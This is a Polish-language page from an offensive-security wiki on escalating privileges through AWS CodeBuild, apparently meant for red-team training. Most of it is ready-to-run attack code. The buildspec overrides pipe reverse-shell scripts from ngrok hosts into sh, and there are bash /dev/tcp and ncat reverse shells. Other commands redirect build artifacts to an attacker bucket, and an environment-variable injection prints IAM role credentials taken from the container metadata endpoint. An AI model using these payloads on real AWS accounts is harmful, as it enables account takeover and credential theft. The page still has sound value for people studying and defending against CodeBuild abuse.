AWS - Codebuild Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

codebuild

Więcej informacji:

AWS - Codebuild Enum

codebuild:StartBuild | codebuild:StartBuildBatch

Posiadając tylko jedno z tych uprawnień, wystarczy uruchomić build z nowym buildspec, aby ukraść token przypisany do projektu iam role:

cat > /tmp/buildspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml

Uwaga: Różnica między tymi dwoma poleceniami jest taka, że:

  • StartBuild uruchamia pojedyncze zadanie build przy użyciu konkretnego buildspec.yml.
  • StartBuildBatch pozwala uruchomić batch buildów, z bardziej złożonymi konfiguracjami (np. uruchamianie wielu buildów równolegle).

Potencjalny wpływ: Bezpośrednie privesc do przypisanych ról AWS Codebuild.

StartBuild — nadpisanie zmiennych środowiskowych

Nawet jeśli nie możesz zmodyfikować projektu (UpdateProject) i nie możesz nadpisać buildspec, codebuild:StartBuild nadal pozwala na nadpisanie zmiennych środowiskowych w czasie builda poprzez:

  • CLI: --environment-variables-override
  • API: environmentVariablesOverride

Jeśli build używa zmiennych środowiskowych do kontrolowania zachowania (destination buckets, feature flags, proxy settings, logging itd.), to może to wystarczyć, by exfiltrate secrets dostępne dla roli build lub aby uzyskać code execution wewnątrz buildu.

Przykład 1: Przekierowanie miejsca docelowego Artifact/Upload, aby Exfiltrate Secrets

Jeżeli build publikuje artefakt do bucketu/ścieżki kontrolowanej przez zmienną środowiskową (na przykład UPLOAD_BUCKET), nadpisz ją na bucket kontrolowany przez atakującego:

export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"

export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)

# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done

# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
Przykład 2: Python Startup Injection via PYTHONWARNINGS + BROWSER

Jeżeli build uruchamia python3 (częste w buildspecs), czasami można uzyskać code execution bez modyfikowania buildspec przez nadużycie:

  • PYTHONWARNINGS: Python rozwiązuje pole category i zaimportuje ścieżki rozdzielone kropkami. Ustawienie go na ...:antigravity.x:... wymusza zaimportowanie modułu stdlib antigravity.
  • antigravity: wywołuje webbrowser.open(...).
  • BROWSER: kontroluje, co uruchamia webbrowser. Na Linuxie jest rozdzielane za pomocą :. Użycie #%s sprawia, że argument URL staje się komentarzem powłoki.

To można użyć do wypisania poświadczeń roli CodeBuild (z http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) do CloudWatch logs, a następnie ich odzyskania, jeśli masz uprawnienia do odczytu logów.

Kliknij, aby rozwinąć: StartBuild JSON request for the PYTHONWARNINGS + BROWSER trick ```json { "projectName": "codebuild_lab_7_project", "environmentVariablesOverride": [ { "name": "PYTHONWARNINGS", "value": "all:0:antigravity.x:0:0", "type": "PLAINTEXT" }, { "name": "BROWSER", "value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s", "type": "PLAINTEXT" } ] } ```

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Atakujący posiadający uprawnienia iam:PassRole, codebuild:CreateProject, oraz codebuild:StartBuild lub codebuild:StartBuildBatch mógłby eskalować uprawnienia do dowolnej codebuild IAM role poprzez utworzenie i uruchomienie odpowiedniego builda.

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

Potencjalny wpływ: Bezpośredni privesc do dowolnej roli AWS Codebuild.

Warning

W Codebuild container plik /codebuild/output/tmp/env.sh zawiera wszystkie env vars potrzebne do uzyskania dostępu do metadata credentials.

Ten plik zawiera env variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI która zawiera URL path do dostępu do poświadczeń. Będzie to coś w stylu /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

Dodaj to do URL http://169.254.170.2/ i będziesz w stanie dump the role credentials.

Co więcej, zawiera też env variable ECS_CONTAINER_METADATA_URI który zawiera pełny URL do pobrania metadata info about the container.

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Podobnie jak w poprzedniej sekcji, jeśli zamiast tworzyć build project możesz go zmodyfikować, możesz wskazać IAM Role i ukraść token.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Potencjalny wpływ: Bezpośredni privesc do dowolnej roli AWS Codebuild.

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Podobnie jak w poprzedniej sekcji, ale bez uprawnienia iam:PassRole, możesz wykorzystać te uprawnienia, aby zmodyfikować istniejące projekty Codebuild i uzyskać dostęp do roli, która jest im już przypisana.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Potencjalny wpływ: Bezpośredni privesc do przypisanych ról AWS Codebuild.

SSM

Mając wystarczające uprawnienia do uruchomienia ssm session, możliwe jest dostać się do Codebuild project podczas jego budowy.

The codebuild project will need to have a breakpoint:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

A następnie:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

Więcej informacji check the docs.

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

Atakujący, który może uruchomić/ponownie uruchomić build konkretnego projektu CodeBuild, który przechowuje plik buildspec.yml na bucketcie S3, do którego ma uprawnienia zapisu, może uzyskać wykonanie poleceń w procesie CodeBuild.

Uwaga: eskalacja ma znaczenie tylko wtedy, gdy worker CodeBuild posiada inną, najlepiej bardziej uprzywilejowaną, rolę niż rola atakującego.

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

Możesz użyć takiego buildspec, aby uzyskać reverse shell:

version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Wpływ: Bezpośredni privesc do roli używanej przez AWS CodeBuild worker, która zazwyczaj ma wysokie uprawnienia.

Warning

Należy pamiętać, że buildspec może występować w formacie zip, więc atakujący musiałby pobrać, unzip, zmodyfikować buildspec.yml z katalogu root, zip ponownie i upload

Więcej szczegółów można znaleźć tutaj.

Potencjalny wpływ: Bezpośredni privesc do przypisanych ról AWS Codebuild.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks